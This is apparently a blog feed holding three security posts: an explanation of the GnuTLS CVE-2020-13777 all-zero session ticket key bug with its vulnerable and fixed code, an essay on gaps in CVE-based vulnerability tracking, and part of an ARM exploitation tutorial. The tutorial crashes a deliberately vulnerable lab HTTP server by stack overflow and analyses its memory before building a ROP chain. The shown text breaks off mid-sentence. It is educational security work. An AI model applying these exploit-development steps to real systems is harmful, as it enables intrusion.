(0x64 ∧ 0x6d) ∨ 0x69https://blog.3or.de/2020-06-14T16:15:00+02:00GnuTLS CVE-2020-13777 Explanation2020-06-14T16:15:00+02:002020-06-14T16:15:00+02:00dimitag:blog.3or.de,2020-06-14:/gnutls-cve-2020-13777-explanation.html<p>A quick look into CVE-2020-13777</p><p>This week I had to look into CVE-2020-13777, which is a vulnerability in GnuTLS >3.6.4 and <3.6.14. When the projekt introduced a TOTP based way to rotate the session ticket encryption key (STEK), a vulnerability was also introduced which resulted in the session ticket encryption key beeing all-zero until the first rotation happens.</p>
<p>For TLS 1.2 the vulnerability results in full compromise of confidentiality and for TLS 1.3 the impact is reduced to a Man-in-the-middle since a re-keying is done after a session resumption.</p>
<p>Since I read several comments on the cause of the vulnerability which made no sense when I checked the commit diff, I looked into it myself. Maybe the technical details are interesting for anybody else:</p>
<p>Internally the STEK is rotated when the previous valid TOTP time window expires. The current window ID is tracked in a global variable in the <code>session</code> struct of each connection (<code>session→key.totp.last_result</code>). The function <code>topt_next()</code> is used to test whether a rotation should happen. It returns 0 when no rotation is needed (when the current window ID is the same as <code>last_result</code>) and otherwise the current windows ID. Rotation calculates a new key based on the initial STEK value, which is stored in the <code>session</code> struct at <code>session→key.initial_stek</code>. After calculating the new key, it is copied into the <code>session</code> struct at <code>session→key.session_ticket_key</code>. When a new session ticket is send to the client, it is encrypted using the key from <code>session→key.session_ticket_key</code>.</p>
<p>The vulnerability was hidden in how STEK was initialized. The initialization is done in <code>_gnutls_initialize_session_ticket_key_rotation()</code>, which is called internally once from <code>gnutls_session_ticket_enable\_server()</code> (which in turn is used by the developer to enable the session ticket system) at TLS session initialization. The vulnerable function:</p>
<div class="highlight"><pre><span></span><code><span class="nb nb-Type">int</span><span class="w"> </span><span class="n">_gnutls_initialize_session_ticket_key_rotation</span><span class="p">(</span><span class="n">gnutls_session_t</span><span class="w"> </span><span class="n">session</span><span class="p">,</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="n">gnutls_datum_t</span><span class="w"> </span><span class="o">*</span><span class="n">key</span><span class="p">){</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">session</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">NULL</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">key</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">NULL</span><span class="p">))</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">gnutls_assert_val</span><span class="p">(</span><span class="n">GNUTLS_E_INTERNAL_ERROR</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">session</span><span class="o">-></span><span class="n">key</span><span class="o">.</span><span class="n">totp</span><span class="o">.</span><span class="n">last_result</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">int64_t</span><span class="w"> </span><span class="n">t</span><span class="p">;</span>
<span class="w"> </span><span class="n">memcpy</span><span class="p">(</span><span class="n">session</span><span class="o">-></span><span class="n">key</span><span class="o">.</span><span class="n">initial_stek</span><span class="p">,</span><span class="w"> </span><span class="n">key</span><span class="o">-></span><span class="n">data</span><span class="p">,</span><span class="w"> </span><span class="n">key</span><span class="o">-></span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="n">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">totp_next</span><span class="p">(</span><span class="n">session</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">t</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">gnutls_assert_val</span><span class="p">(</span><span class="n">t</span><span class="p">);</span>
<span class="w"> </span><span class="n">session</span><span class="o">-></span><span class="n">key</span><span class="o">.</span><span class="n">totp</span><span class="o">.</span><span class="n">last_result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">t</span><span class="p">;</span>
<span class="w"> </span><span class="n">session</span><span class="o">-></span><span class="n">key</span><span class="o">.</span><span class="n">totp</span><span class="o">.</span><span class="n">was_rotated</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">GNUTLS_E_SUCCESS</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">GNUTLS_E_INVALID_REQUEST</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>At session initialization <code>last_result</code> is 0. Initial STEK is copied from the user-supplied variable <code>key</code> into the session struct at <code>session→key.totp.initial_stek</code>. Next, the current window's ID (returned by <code>totp_next()</code>) is retrieved and stored into <code>last_result</code>. Therefore the global state for the STEK is "no rotation needed", so no rotation happens until the the first window expires. The expiration depends on a configurable timeout. Remember: When a session ticket is send to the client, the key is actually retrieved from <code>session→key.session_ticket_key</code>, which is only updated when a rotation happens! Since the whole <code>session</code> struct is initialized on startup with 0, the initial STEK is zero until first rotation.</p>
<p>The fix was rather simple. The global "rotation needed" state is not updated in <code>_gnutls_initialize_session_ticket_key_rotation()</code>, but rather kept "0", so a rotation - and therefore the initialization of <code>session→key.session_ticket_key</code> - will happen at the first ticket encrypted. The fixed function:</p>
<div class="highlight"><pre><span></span><code><span class="nb nb-Type">int</span><span class="w"> </span><span class="n">_gnutls_initialize_session_ticket_key_rotation</span><span class="p">(</span><span class="n">gnutls_session_t</span><span class="w"> </span><span class="n">session</span><span class="p">,</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="n">gnutls_datum_t</span><span class="w"> </span><span class="o">*</span><span class="n">key</span><span class="p">){</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">session</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">NULL</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">key</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">NULL</span><span class="p">))</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">gnutls_assert_val</span><span class="p">(</span><span class="n">GNUTLS_E_INTERNAL_ERROR</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">session</span><span class="o">-></span><span class="n">key</span><span class="o">.</span><span class="n">totp</span><span class="o">.</span><span class="n">last_result</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">))</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">GNUTLS_E_INVALID_REQUEST</span><span class="p">;</span>
<span class="w"> </span><span class="n">memcpy</span><span class="p">(</span><span class="n">session</span><span class="o">-></span><span class="n">key</span><span class="o">.</span><span class="n">initial_stek</span><span class="p">,</span><span class="w"> </span><span class="n">key</span><span class="o">-></span><span class="n">data</span><span class="p">,</span><span class="w"> </span><span class="n">key</span><span class="o">-></span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="n">session</span><span class="o">-></span><span class="n">key</span><span class="o">.</span><span class="n">totp</span><span class="o">.</span><span class="n">was_rotated</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>More information:</p>
<ul>
<li>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13777</li>
<li>https://gitlab.com/gnutls/gnutls/-/issues/1011</li>
</ul>CVE Vulnerability Management Quirks2020-01-24T22:22:00+01:002020-01-24T22:22:00+01:00dimitag:blog.3or.de,2020-01-24:/cve-vulnerability-management-quirks.html<p>How do you monitor your software and hardware components regarding security vulnerabilities? CVE? This post is about some (rare?) cases when your product nevertheless will be vulnerable.</p><h1>Introduction</h1>
<!--Let's imagine you have perfectly well-engineered product: You had a engineering process in place, which took security into
account at each stage of the development. Because you are the poster child of smart products you obviously also care a
lot about security updates after start of production ie. when your product is at the customers site. That FOTA feature must
be used!-->
<p>There is a lot to build a secure product, but managing the vulnerabilities in your code base (ie software components used) is one of the most
important things. Especially
if you use a lot of third-party components: (open source) libraries, maybe a Linux Kernel and some
hardware parts. Vulnerabilities are everywhere and obviously the security of your product depends on the security
of these components. One widely used way to monitor the used components is through the CVE - Common Vulnerabilities and Exposures - database. When a CVE for a component you use comes up, you update your firmware, test it and ship the update to the customer. </p>
<p>This post is about edge cases when your product might become vulnerable, even when you have a fully running CVE Vulnerability Mangement System established. (CVE VM)</p>
<h2>Disclaimer 1 - CVE: Best we have</h2>
<p>CVE is one of these open source source / community / distributed model systems, which do work and seem to scale pretty well.
It also has enough market penetration so that it is a de-facto standard to ID a vulnerability. That is nice, because when you work with vendors which do not issue CVEs, you run into problems like:</p>
<ul>
<li>Is that one vulnerability? Or many? <strong><a href="https://cve.mitre.org/cve/editorial_policies/counting_rules.html">CVE has counting rules</a></strong></li>
<li>Which of the $n vulnerabilities are you even talking about? <strong>CVE has an ID.</strong></li>
<li>CVE forces vendors to publish a minimum amout of vulnerability details to the database. There are vendors which would prefer to publish advisoreis on a login protected site. <strong>CVE is public.</strong></li>
<li>CVE forces vendors to publish a minimum amout of vulnerability details to the database using JSON. <strong>CVE is maschine readable.</strong></li>
</ul>
<p>Though CVE might not be the optimal solution, it is the best we have.</p>
<h2>Disclaimer 2 - Systems break</h2>
<p>Neither am I deep into CVE VM nor is it a part of my day-to-day work ($defaultNotWorkDisclaimer). Nonetheless my focus shifed due to work
enough, leading to situations where my brain triggered on some tweets or blog posts: Ah, that is where CVE VM breaks.</p>
<p>So, during the last year, each time my brain was triggered, I saved the link and collected the following (edge) cases when CVE VM might fail. Since I never saw a similar overview, I decided to quickly write them down.</p>
<h1>Quirks</h1>
<h2>Vendor does not issue CVEs</h2>
<p>The most obivous reason where your CVE VM might fail, is simply when the vendor or component you use does not issue CVEs.<br>
That might have multiple reasons: Vendors which simply feel publishing advisories on a (login protected) portal,
buried in a PDF, is good practise. Sadly, this is more common than you might think.</p>
<p>Other reasons not to issue CVEs might be the necessary management overhead (which is small) or lazyness. Maybe the fact that <a href="https://twitter.com/github/status/1174371016497405953?lang=de">Github is a CNA</a> will at least decrease the amout of open source components, which do not assign CVEs. There are many variations of this quirk:</p>
<ul>
<li>Vendors which do not issue CVE at all</li>
<li>Vendors which do issue CVEs sometimes (eg. when they are forced by someone external)</li>
<li>Vendors which most ofen do issue, but sometimes forget?</li>
</ul>
<p>Some examples:</p>
<ul>
<li>ARM <a href="https://github.com/torvalds/linux/commit/679db70801da9fda91d26caf13bf5b5ccc74e8e8">fixing quietly speculative execution on ERET on Linux upstream</a>. OpenBSD had to <a href="https://twitter.com/openbsd/status/1207068666593992704">rediscover</a> the issue.</li>
<li><a href="https://varnish-cache.org/security/index.html">Varnish</a> published a new version with security fix in Oktober. A CVE is "TBD" since then?</li>
<li><a href="https://github.com/eclipse/paho.mqtt.java/issues/506">One of many issues</a> in a open source project on GitHub without CVE.</li>
</ul>
<h3>A bug is a bug, is a bug</h3>
<p>Linux might be the most popular project which falls into this category. The Linux Security documentation is pretty clear: <em><a href="https://www.kernel.org/doc/html/v4.14/admin-guide/security-bugs.html?highlight=cve">The security team does not normally assign CVEs, nor do we require them for reports or fixes, as this can needlessly complicate the process and may delay the bug handling.</a></em> </p>
<p>Greg KG had a talk this year on his take on CVEs and the Linux community: <a href="https://github.com/gregkh/presentation-cve-is-dead/blob/master/cve-linux-kernel.pdf">Slides</a> and <a href="https://www.youtube.com/watch?v=HeeoTE9jLjM">video</a>.</p>
<p>And a <a href="https://grsecurity.net/reports_of_cves_death_greatly_exaggerated">response to his talk on grsecurity</a>.</p>
<h3>Stack Overflow</h3>
<p>Fraunhofer AISEC put numbers onto what we all know: Stack Overflow is a critical part software engineering:</p>
<blockquote>
<p>15.4% of the 1.3 million Android applications we analyzed, contained security-related code snippets from Stack Overflow. Out of these 97.9% contain at least one insecure code snippet. <a href="https://www.aisec.fraunhofer.de/en/stackoverflow.html">Stack Overflow Considered Harmful? The Impact of Copy & Paste on Android Application Security</a></p>
</blockquote>
<p>How do you get notified about a vulnerability in your Stack Overflow code? :)</p>
<ul>
<li><a href="https://www.zdnet.com/google-amp/article/the-most-copied-stackoverflow-java-code-snippet-contains-a-bug">The most copied StackOverflow Java code snippet contains a bug</a></li>
</ul>
<h2>Fuzzing</h2>
<p>Fuzzing is everywhere. <a href="https://syzkaller.appspot.com/upstream">Syzbot</a> is fuzzing the Linux kernel and it's modules. The OSS-Fuzz project found, <a href="https://github.com/google/oss-fuzz">as of August 2019, over 14,000 bugs in 200 open source projects</a>. If you dig through the <a href="https://bugs.chromium.org/p/oss-fuzz/issues/list?q=-status%3AWontFix%2CDuplicate%20-component%3AInfra&can=1">bug trackers</a> and to the open source projects, there are rarely CVEs assigned.</p>
<p>Obviously nobody wants to analyze the bugs to find out whether they are security relevant or not. In fact this is not always that obvious. Seeing the sheer number of bugs, I feel like a dedicated attacker could easily find a vulnerability to exploit, which never was categorized as security critical. Let alone got a CVE. </p>
<h2>Triage is hard: Wrong / Missing vulnerable components</h2>
<p>This is mostly a problem of vulnerabilty triage. To locate the bug is sometimes really hard and the location of the bug is
often not very obvious, from the researchers perspective (library of upstream code?). For projects which do not have a CNA,
everybody can get CVEs at MITRE. At sometimes leads to situations like when <a href="https://twitter.com/videolan/status/1153963312981389312">VLC got a 9.8, but the vulnerability was really in libebml</a> (which did not issue a CVE). In this case the error was corrected, because VLC started a little storm in a teacup and got some
Twitter attention (after they faced this issue several times already).</p>
<p>Then there are situations where things get very complex and not all affected versions or products are mentioned in the CVE and advisory:</p>
<blockquote>
<p>As part of our research effort, we investigated 115 distinct releases for Apache Struts and correlated these releases
against the 57 existing Apache Struts Security Advisories covering 64 vulnerabilities. We found that 24 Security Advisories
incorrectly stated the impacted versions for the vulnerabilities contained within the correlated advisory. In total, <strong>61
additional unique versions of Struts were identified as being impacted by at least one previously disclosed vulnerability</strong>.*</p>
</blockquote>
<p><a href="https://www.synopsys.com/blogs/software-security/apache-struts-security-advisories-updated/">Review of Apache Struts vulnerabilities yields 24 updated advisories</a></p>
<h2>Supply Chain attacks</h2>
<p>What about supply chain attacks? <a href="https://github.com/cncf/sig-security/tree/master/supply-chain-security/compromises">There is a nice collection on these attacks on GitHub.</a> Is your component issuing a new version, when a supply chain
attack happens or is it only going to re-release the same version with a valid hash or signature? A CVE is not going to be issued - to the best
of my knowledge. Also many dependency management tools like pip for python fix a dependency to a specific version. Without a CVE you never will be notified that you should bump the version.</p>
<h2>Downstream-Only fix</h2>
<p>In 2012 Travis Ormandy found a critical arbitary memory write vulnerability in the Sophos Security Appliance. Then, 5 years
later, Google Project Zero rediscovered that issue as an issue in unrar. It seems like Sophos patched their unrar fork but
did not notify upstream about the vulnerability and fix.</p>
<ul>
<li><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1286">P0 Vulnerability Report</a></li>
<li><a href="https://web.archive.org/web/20161103152522/https://community.sophos.com/kb/en-us/118424">Sophos Advisory @ Way Back Maschine</a></li>
</ul>
<h2>mainline, release, stable, forks</h2>
<p>There are some projects which have a mainline release and a stable release cycle. Linux is propably the most prominent
example of this. Linux-Stable receives about 5% of patches from upstream. There are some rules the community follows, <a href="https://www.kernel.org/doc/html/v4.10/process/stable-kernel-rules.html">which patches are included in Linux-Stable</a> and which not. </p>
<p>Then there are forks, for example Android. <a href="https://source.android.com/devices/architecture/kernel/linux-stable-merges">Google is working hard to bring Android closer to Linux LTS</a>, especially after a critical <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1942">Use after Free bug</a>, which was only backported to some branches. ("cherry picking" patches to branches is common). The farer away you are from upstream, the more likely you will lose important patches.</p>
<p>I don't know of any examples, where the LTS Kernel was vulnerable because they missed a patch. Obvisouly, you can't be sure about that.</p>
<h2>Compiler Optimizations</h2>
<p>Even when compiling your code, things can go wrong. There are compiler optimizations, which can lead to serious security issues. For example a privilege
escalation in the tun/tap driver in Linux, <a href="https://www.redhat.com/en/blog/security-flaws-caused-compiler-optimizations">where a NULL pointer check was optimized out·</a>. </p>
<h2>Patch gapping</h2>
<p>Open Source projects often fix security vulnerabilities in their public repo and the fixes are then shipped with the next release. Even if a CVE is assigned,
the vulnerability might be exploited during the timegap between the commit and the release. </p>
<p>There are some examples collected by <a href="(https://googleprojectzero.blogspot.com/2019/08/jsc-exploits.html)">Samuel Groß from P0</a>:</p>
<blockquote>
<p>Furthermore, at least for <strong>WebKit</strong>, it is often possible to extract details of a vulnerability from the public source code repository before the fix has been shipped to users. <strong>CVE-2019-8518</strong> can be used to highlight this problem (as can many other recent vulnerabilities). <strong>The vulnerability was publicly fixed in WebKit HEAD on Feb 9 2019 with commit 4a23c92e6883</strong>. This commit contains a testcase that triggers the issue and causes an out-of-bounds access into a JSArray - a scenario that is usually easy to exploit. However, the <strong>fix only shipped to users with the release of iOS 12.2 on March 25 2019, roughly one and a half months after details about the vulnerability were public</strong>.</p>
<p>This exploit targets CVE-2017-2505 which was originally reported by lokihardt as Project Zero issue 1137 and fixed in <strong>WebKit HEAD with commit 4a23c92e6883 on Mar 11th 2017. The fix was then shipped to users with the release of iOS 10.3.2 on May 15th 2017, over two months later</strong>.</p>
</blockquote>
<p>Altogether there are 7 examples in the blog post!</p>
<p>Exodus Intel show cased that exploiting Chrome using Patch gapping is feasable:</p>
<ul>
<li><a href="https://blog.exodusintel.com/2019/04/03/a-win">A window of opportunity: Exploiting a Crhome 1Day Vulnerability</a></li>
<li><a href="https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/">Patch-gapping Google Chrome</a></li>
</ul>
<p>Do you remember when Tibetan groups where targeted recently? They used a patch gapped bug to exploit their targets (maybe the ones linked above from Exodus).</p>
<blockquote>
<p>POISON CARP appears to have used Android browser exploits from a variety of sources. In one case, <strong>POISON CARP used a working exploit publicly released by Exodus Intelligence for a Google Chrome bug that was fixed in source, but whose patch had not yet been distributed to Chrome users</strong>. </p>
</blockquote>ARM Exploitation - Defeating DEP - executing mprotect()2018-09-03T08:00:00+02:002018-09-03T08:00:00+02:00dimitag:blog.3or.de,2018-09-03:/arm-exploitation-defeating-dep-executing-mprotect.html<p>How to defeat DEP on ARM - executing mprotect()</p><p>The goal of this part is to go through the whole process of developing a ROP chain against a known vulnerable target. In this case I build a simple vulnerable HTTP server (myhttpd) which runs locally on
my <em>armbox</em> on port 8080. We found that the attacked daemon has a stack overflow in the URL parameter. For details on how to build the <em>myhttpd</em> or the lab
setup see <a href="/arm-exploitation-setup-and-tools.html">the first post of this series</a>.</p>
<h2>Investigating the memory map</h2>
<p>As I already mentioned in the previous article, we need a part of the loaded binary (.text segment, dynamically loaded libary), where we search for gadgets. I used
<code>libc</code> for my ROP chain. You can use any other or multiple other parts.</p>
<p>Start your debugger, attach to the vulnerable process and show the memory map:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>root@armbox<span class="w"> </span>~<span class="o">]</span><span class="c1"># r2 -d $(pidof myhttpd)</span>
<span class="o">=</span><span class="w"> </span>attach<span class="w"> </span><span class="m">757</span><span class="w"> </span><span class="m">757</span>
bin.baddr<span class="w"> </span>0x00400000
Using<span class="w"> </span>0x400000
asm.bits<span class="w"> </span><span class="m">32</span>
<span class="w"> </span>--<span class="w"> </span>Don<span class="s1">'t look at the code. Don'</span>t<span class="w"> </span>look.
<span class="o">[</span>0xb6ef862c<span class="o">]</span>><span class="w"> </span>dmm
0x00400000<span class="w"> </span>/usr/bin/myhttpd
0xb68c2000<span class="w"> </span>/usr/lib/libgcc_s.so.1
0xb68ef000<span class="w"> </span>/usr/lib/libdl-2.28.so
0xb6902000<span class="w"> </span>/usr/lib/libffi.so.6.0.4
0xb691a000<span class="w"> </span>/usr/lib/libgmp.so.10.3.2
0xb6988000<span class="w"> </span>/usr/lib/libhogweed.so.4.4
0xb69c6000<span class="w"> </span>/usr/lib/libnettle.so.6.4
0xb6a0d000<span class="w"> </span>/usr/lib/libtasn1.so.6.5.5
0xb6a2d000<span class="w"> </span>/usr/lib/libunistring.so.2.1.0
0xb6ba9000<span class="w"> </span>/usr/lib/libp11-kit.so.0.3.0
0xb6cae000<span class="w"> </span>/usr/lib/libz.so.1.2.11
0xb6cd3000<span class="w"> </span>/usr/lib/libpthread-2.28.so
0xb6cfd000<span class="w"> </span>/usr/lib/libgnutls.so.30.14.11
0xb6e5a000<span class="w"> </span>/usr/lib/libc-2.28.so
0xb6fa5000<span class="w"> </span>/usr/lib/libmicrohttpd.so.12.46.0
0xb6fce000<span class="w"> </span>/usr/lib/ld-2.28.so
<span class="o">[</span>0xb6ef862c<span class="o">]</span>>
</code></pre></div>
<p>The larger the (r-x) segments of the used library / binary are, the better the chances to find good gagets. Choose wisely... :)</p>
<p>I have choosen:</p>
<div class="highlight"><pre><span></span><code>0xb6e5a000<span class="w"> </span>/usr/lib/libc-2.28.so
</code></pre></div>
<h2>Investigating the crash</h2>
<p>Let's crash the daemon! We will send a long URL to "myhttpd" and inspect the registers and the stack. Check out the following asciinema, make it fullscreen to avoid missing anything.</p>
<p><asciinema-player src="static/arm-exploitation-cast-1.cast" ></asciinema-player></p>
<p>The daemon crashed and we see <code>PC</code> got overwritten with <code>0x41414140</code>. What happend? As I explained in <a href="/arm-exploitation-defeating-dep-execute-system.html">the second part of this series </a>, the overflow overwrote the saved <code>LR</code> of a non-leaf function. As soon as this function
executed its epilogue to restore the saved values, the saved <code>LR</code> got popped into <code>PC</code> to return to the caller. One note on the least significant bit: the <code>BX</code>
instruction basically copies the LSB of the address loaded into <code>PC</code> to the T status bit of the <code>CPSR</code> register, which switches the core between ARM and Thumb mode:
ARM (LSB=0)/ THUMB (LSB=1). The saved <code>LR</code> (overwritten with <code>0x41414141</code>) got popped into PC, then the LSB of the popped address gets written into the <code>CPSR</code>
registers T-Bit (bit 5) and finally the LSB of <code>PC</code> itself is set to 0, resulting in <code>0x41414140</code>.</p>
<p>As we can see <code>R11</code> also contains our value <code>0x41414141</code>. That means the overflown function stores and restores <code>LR</code> and <code>R11</code> onto/from the stack. Some
compilers use <code>R11</code> as reference to point to local variables within a function call (frame pointer):</p>
<p><img alt="FP as reference" src="images/arm-exploitation-rop-3-2.png"></p>
<p>The variables are then accessed as <code>FP + offset</code> within that function.</p>
<p>Additionally, as we see in the Asciinema, the stack contains 'A'! Therefore we control the values of <code>PC</code>, <code>R11</code> and we have some space on the stack. Nice.</p>
<p>Lets take a deeper look into the stack. The following lines show the memory of the myhttpd process, after crash:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>0x41414140<span class="o">]</span>><span class="w"> </span>dm
0x00400000<span class="w"> </span><span class="c1"># 0x00401000 - usr 4K s r-x /usr/bin/myhttpd /usr/bin/myhttpd ; loc.imp._ITM_registerTMCloneTable</span>
0x00410000<span class="w"> </span><span class="c1"># 0x00411000 - usr 4K s r-- /usr/bin/myhttpd /usr/bin/myhttpd </span>
0x00411000<span class="w"> </span><span class="c1"># 0x00412000 - usr 4K s rw- /usr/bin/myhttpd /usr/bin/myhttpd ; obj._GLOBAL_OFFSET_TABLE</span>
0x00412000<span class="w"> </span><span class="c1"># 0x00433000 - usr 132K s rw- [heap] [heap] </span>
0xb5500000<span class="w"> </span><span class="c1"># 0xb5521000 - usr 132K s rw- unk0 unk0 </span>
0xb5521000<span class="w"> </span><span class="c1"># 0xb5600000 - usr 892K s --- unk1 unk1 </span>
0xb56ff000<span class="w"> </span><span class="c1"># 0xb5700000 - usr 4K s --- unk2 unk2 </span>
0xb5700000<span class="w"> </span><span class="c1"># 0xb5f00000 - usr 8M s rw- unk3 unk3 </span>
0xb5f00000<span class="w"> </span><span class="c1"># 0xb5f21000 - usr 132K s rw- unk4 unk4 </span>
0xb5f21000<span class="w"> </span><span class="c1"># 0xb6000000 - usr 892K s --- unk5 unk5 </span>
0xb60bf000<span class="w"> </span><span class="c1"># 0xb60c0000 - usr 4K s --- unk6 unk6 </span>
0xb60c0000<span class="w"> </span><span class="c1"># 0xb68c2000 - usr 8M s rw- unk7 unk7 </span>
<span class="o">[</span>...<span class="o">]</span>
loaded<span class="w"> </span>libraries
<span class="o">[</span>...<span class="o">]</span>
0xbefdf000<span class="w"> </span><span class="c1"># 0xbf000000 - usr 132K s rw- [stack] [stack]</span>
0xffff0000<span class="w"> </span><span class="c1"># 0xffff1000 - usr 4K s r-x [vectors] [vectors]</span>
</code></pre></div>
<p>One noticeable thing is that <code>SP</code> (<code>SP</code> = <code>0xb5efea50</code>) does not point to the section which is advertised as [stack] but
to a segment above (address-wise) the mapped libraries:</p>
<div class="highlight"><pre><span></span><code>0xb5521000<span class="w"> </span><span class="c1"># 0xb5600000 - usr 892K s --- unk1 unk1</span>
</code></pre></div>
<p>It will be worth to understand what is happening here. Now, I am not sure why r2's <em>dm</em> (or gdb's <em>vmmap</em>) do not show the (rw-) permissions here - I assume we
see the (rw-) mappings of the main process. The used microhttpd library opens a listeners thread, which then opens a worker thread for each new connection.</p>
<p>Check out the following strace to understand what is happening (pid 363 is the listener thread, 370 the worker thread):</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>pid<span class="w"> </span><span class="m">363</span><span class="o">]</span><span class="w"> </span>mmap2<span class="o">(</span>NULL,<span class="w"> </span><span class="m">8392704</span>,<span class="w"> </span>PROT_NONE,<span class="w"> </span>MAP_PRIVATE<span class="p">|</span>MAP_ANONYMOUS<span class="p">|</span>MAP_STACK,<span class="w"> </span>-1,<span class="w"> </span><span class="m">0</span><span class="o">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>0xb56ff000
<span class="o">[</span>pid<span class="w"> </span><span class="m">363</span><span class="o">]</span><span class="w"> </span>mprotect<span class="o">(</span>0xb5700000,<span class="w"> </span><span class="m">8388608</span>,<span class="w"> </span>PROT_READ<span class="p">|</span>PROT_WRITE<span class="o">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span>
<span class="o">[</span>pid<span class="w"> </span><span class="m">363</span><span class="o">]</span><span class="w"> </span>clone<span class="o">(</span><span class="nv">child_stack</span><span class="o">=</span>0xb5efef98,<span class="w"> </span><span class="nv">flags</span><span class="o">=</span>CLONE_VM<span class="p">|</span>CLONE_FS<span class="p">|</span>CLONE_FILES<span class="p">|</span>CLONE_SIGHAND<span class="p">|</span>CLONE_THREAD<span class="p">|</span>CLONE_SYSVSEM<span class="p">|</span>CLONE_SETTLS<span class="p">|</span>CLONE_PARENT_SETTID<span class="p">|</span>CLONE_CHILD_CLEARTID,<span class="w"> </span><span class="nv">parent_tidptr</span><span class="o">=</span>0xb5eff4c8,<span class="w"> </span><span class="nv">tls</span><span class="o">=</span>0xb5eff920,<span class="w"> </span><span class="nv">child_tidptr</span><span class="o">=</span>0xb5eff4c8<span class="o">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">370</span>
</code></pre></div>
<p>You can find the whole strace <a href="https://raw.githubusercontent.com/dim0x69/arm-exploitation-rop/master/lab-material/strace_myhttpd">here</a>.</p>
<p>We see that the listeners thread (glibc) is preparing a stack for the thread and assignes an appopriate <em>child_stack</em> to it. It took me some time to get what happend... to visualize the memory map, I made a picture... enjoy:</p>
<div class="highlight"><pre><span></span><code>+------------------+-------------------------------------------------------------------------------------------+
<span class="p">|</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="p">|</span>
<span class="p">|</span><span class="w"> </span>No<span class="w"> </span>R/W<span class="w"> </span><span class="p">|</span><span class="w"> </span>...AAAAAAA<span class="w"> </span>pthread_t,<span class="w"> </span>TLS<span class="w"> </span>of<span class="w"> </span>thread<span class="w"> </span><span class="p">|</span>
<span class="p">|</span><span class="w"> </span>permissions<span class="w"> </span><span class="p">|</span><span class="w"> </span>mprotect<span class="o">(</span>RW<span class="o">)</span><span class="w"> </span><-------------------------><span class="w"> </span><span class="p">|</span>
<span class="p">|</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="p">|</span>
+------------------+--------------------------------------------------------------+----------------------------+
0xb56ff000<span class="w"> </span>0xb5700000<span class="w"> </span>^<span class="w"> </span>^<span class="w"> </span>0xB5F00000
<span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="p">|</span>
<span class="w"> </span>guard<span class="w"> </span>memory<span class="w"> </span>thread<span class="w"> </span>stack<span class="w"> </span>growing<span class="w"> </span>downwards<span class="w"> </span><span class="p">|</span><span class="w"> </span>+
<-----------------><span class="w"> </span><-----------------------------------------------------------+<span class="w"> </span>0xb5efef98
<span class="w"> </span><span class="p">|</span><span class="w"> </span>SP<span class="w"> </span>of<span class="w"> </span>thread<span class="w"> </span>at<span class="w"> </span>creation
<span class="w"> </span>SP<span class="w"> </span>at<span class="w"> </span>crash
<span class="w"> </span>0xb5efea50
</code></pre></div>
<p><code>mmap2()</code> allocates a chunk of memory (8392704 bytes, starting at <code>0xb56ff000</code>) with no (---) permissions (see system call <code>mmap2()</code>, parameter <code>PROT_NONE</code>). Then
<code>mprotect()</code> adds (rw-) permissions to a section of that memory region, but leaves out a little bit at the start (8388608 bytes starting at <code>0xb5700000</code>).
The threads stack (<code>child_stack</code> paramter of <code>clone()</code>) will point into the (rw-) region. Since stack grows downwards the memory region, with no (rw-)
permissions will act as a guard page. Since the stack already grew a little bit, the <code>SP</code> value we observed after the crash
